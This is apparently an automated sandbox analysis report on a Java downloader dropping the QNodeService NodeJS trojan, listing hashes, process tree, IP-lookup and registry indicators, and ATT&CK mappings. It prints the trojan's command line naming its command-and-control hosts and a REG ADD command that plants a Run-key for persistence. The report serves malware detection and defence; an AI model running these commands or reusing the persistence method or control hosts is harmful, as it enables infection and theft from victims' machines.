qnodeservice | dcb9f8cbe1da85545179a3c9a0f6c84f9ad0c4612d2e4ae6b4320ee35d041396

General

Target

LOI 1000MT.jar
Size

12KB
MD5

f5f8a528c5825a1fa032327e128c5320
SHA1

b43c86e9d2f3cce0766257e44122fe2216365b05
SHA256

dcb9f8cbe1da85545179a3c9a0f6c84f9ad0c4612d2e4ae6b4320ee35d041396
SHA512

01db263883a1b1da27963eb574fd4d05f0c1283f8d2b44b65cd4a876eb36b03d782e8e1fd6c422bdd1097802e36fd8aef91e01ade1ea540f4e5c3b9ff034f015

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

Executes dropped EXE 2 IoCs

Processes:

node.exenode.exe

pid process

812 node.exe
1708 node.exe

pid	process
812	node.exe
1708	node.exe

QNodeService NodeJS Trojan 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js	family_qnodeservice

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 wtfismyip.com
14 wtfismyip.com

flow	ioc
11	wtfismyip.com
14	wtfismyip.com

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-1efed896 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-1efed896.cmd\""	reg.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

java.exenode.execmd.exe

description	pid	process	target process
PID 3216 wrote to memory of 812	3216	java.exe	node.exe
PID 3216 wrote to memory of 812	3216	java.exe	node.exe
PID 812 wrote to memory of 1768	812	node.exe	cmd.exe
PID 812 wrote to memory of 1768	812	node.exe	cmd.exe
PID 1768 wrote to memory of 2952	1768	cmd.exe	reg.exe
PID 1768 wrote to memory of 2952	1768	cmd.exe	reg.exe
PID 812 wrote to memory of 1708	812	node.exe	node.exe
PID 812 wrote to memory of 1708	812	node.exe	node.exe

Loads dropped DLL 4 IoCs

Processes:

node.exe

pid process

1708 node.exe
1708 node.exe
1708 node.exe
1708 node.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

node.exe

pid process

1708 node.exe
1708 node.exe
QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

pid	process
1708	node.exe
1708	node.exe
1708	node.exe
1708	node.exe

pid	process
1708	node.exe
1708	node.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\LOI 1000MT.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3216

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://classof1996.duckdns.org --central-base-url https://classof1996.spdns.org --central-base-url https://classof1996.theworkpc.com
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-1efed896" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-1efed896.cmd\"""
3⤵
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-1efed896" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-1efed896.cmd\""
4⤵
- Adds Run entry to start application
PID:2952

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://classof1996.duckdns.org --central-base-url https://classof1996.spdns.org --central-base-url https://classof1996.theworkpc.com
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
PID:1708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

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memory/812-114-0x0000000000000000-mapping.dmp

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memory/812-117-0x000000DB95AC0000-0x000000DB95AC1000-memory.dmp

Filesize
4KB

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memory/1708-121-0x0000000000000000-mapping.dmp

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memory/1708-123-0x00000123AAA80000-0x00000123AAA81000-memory.dmp

Filesize
4KB

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memory/1768-119-0x0000000000000000-mapping.dmp

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memory/2952-120-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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